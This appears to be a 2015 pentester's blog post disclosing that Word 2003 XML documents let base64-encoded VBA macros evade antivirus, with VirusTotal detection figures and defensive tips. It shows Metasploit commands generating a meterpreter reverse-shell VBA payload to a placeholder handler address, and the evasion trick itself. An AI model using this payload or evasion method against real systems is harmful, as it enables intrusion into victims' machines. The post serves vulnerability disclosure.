Bypass AV with XMHELL

By Davy Douhine | March 9, 2015

Update (2015-07-07)

6 months after submitting our first Word 2003 XML payload on VT, the file now scores 9/53… Still not enough.

If you are a pentester and your target doesn’t run one of these 9 AV you’re in !

Image : xmhell_vt_20150707


Update (2015-04-27)

3 months after submitting our first Word 2003 XML payload on VT, the file now scores 9/56.

Which means Symantec, McAfee, Sophos and a few others considered this threat seriously. Good ! But what about the others who don’t ?

The others are: Avast, BitDefender, ClamAV, F-Secure, G Data, Kaspersky, Malwarebytes for example. And interestingly TrendMicro does not flag the file as evil but TrendMicro-HouseCall, their free online virus scan solution, does !


Original post (2015-03-09)

Now that cat is out of the bag here is our story of XMHELL.

During our first pentest of the year, we found that Word documents saved as “Word 2003 XML” format were not correctly analysed by antivirus. Using this vulnerability we were able to compromise a workstation and gain access to the targeted network. The trick is as simple as clicking on “Save As” and choosing the right format !

Attack vector is a simple VBA macro used as a first stage of meterpreter. VBA macro ? Yes, macro hacking worked great a few years ago but tended to be less reliable because AV started to catch it. In fact we discovered that even if a payload, saved using the default Office “Open XML” format, is catched by an AV the exact same Word file saved using the “Word 2003 XML” format is NOT. So dumb…

At first we were very pleased of this bulletproof hack. It could have been very useful for the next engagements but we prefered to disclose the trick. We first pushed the file to VirusTotal at the end of January. We pushed it directly to a few AV vendors too but we are still waiting for their feedback… A week ago a friend warned us of Didier Steven’s post on ISC about the vulnerability being used to spread banking malware (Dridex) and later Threatpost published an article about it and then SpiderLabs so it was time for us to say a few more words.

Here are the VT results and the 2 files:

VirusTotal analysis

  • “Office OpenXML” format

vt_xmlhell-doc

Link: https://www.virustotal.com/fr/file/e6efd7b261527bb1a490f2ea2cfcea73b3604da03bbf28a8ded23c97b3581650/analysis/

File: xmhell_doc (password: infected)

  • “Word 2003 XML” format

vt_xmhell-xml_simple

Link: https://www.virustotal.com/fr/file/80e4768a3f7b5ea965c0aa1305521b17aa84b30850003eea046025d7d1481231/analysis/

File: xmhell (password: infected)

Detection rate drops from 20/57 to 1/57. In fact only Microsoft detects the threat. The signature is “_TrojanDownloader:O97M/Donoff.gen!A_”.

So what is this cool “Word 2003 XML” format ?

According Wikipedia and MSDN it has been introduced by Microsoft in 2003 and seems neglected since then for the Open XML format. However it is still supported by Office 2007, 2010 and 2013 and uses .xml extension. Fundamental difference between the two formats lies in the manner that objects (eg: images, VBA code) are stored. Open XML stores objects in files which are assembled in a ZIP archive. Word 2003 XML stores objects directly in the document file using base64 encoded blocs. So the explanation is there. AV don’t decode these base64 blocs for this type of file.

What does a “Word 2003 XML” document looks like ?

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?mso-application progid="Word.Document"?>
<w:wordDocument xmlns:aml="http://schemas.microsoft.com/aml/2001/core"(...)
<w:docSuppData><w:binData w:name="editdata.mso" xml:space="preserve">
<span style="color: #ff0000;">QWN0aXZlTWltZQAAAfAEAAAA/////wAAB</span>
<span style="color: #ff0000;">(...)</span>
<span style="color: #ff0000;">BASE64 (VBA macro)</span>
<span style="color: #ff0000;">(...)</span>
<span style="color: #ff0000;">LgBXAE8AUgBLAEIATwBPAEsAXwBPAFAARQBOAAAAQAAAC/AEAAAAEjRWeD==</span>
</w:binData></w:docSuppData>
  (...)
</w:body></w:wordDocument>

The malicious VBA payload was generated using the classical:

msf exploit(handler) > use payload/windows/meterpreter/reverse_tcp
msf payload(reverse_tcp) > set LHOST HANDLER_IP
LHOST => HANDLER_IP
msf payload(reverse_tcp) > generate -t vba

and stored in the document. When the file is saved as “Word 2003 XML” the macro is encoded in base64. Is it too hard for an AV to decode this ? Probably as this is the key difference between the two formats.

So what should you do ?

  1. Be careful when you open files, as usual
  2. Don’t enable “content” when Office ask you too (unless you are really sure of what you do)
  3. Choose another default program (like notepad) to open .xml files
  4. Don’t rely too much on AV, use EMET